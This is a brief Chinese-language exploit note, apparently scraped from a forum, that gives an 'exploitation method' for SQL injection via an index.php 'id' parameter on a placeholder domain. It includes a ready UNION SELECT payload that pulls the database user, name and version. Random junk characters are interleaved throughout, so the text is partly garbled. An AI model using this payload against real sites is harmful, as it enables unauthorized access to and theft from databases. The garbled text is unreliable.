利用方法:
8 L. L6 L' ~. f3 V8 F http://www.xxx.com/index.php?id=[SQL]
' ~, i+ r4 y6 \# R/ L# Q6 H Demo:
+ |, f. h" V( F6 I+ v http://www.xxx.com/index.php?id=-1' UNION SELECT 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8,9,10,11,12,13--+ |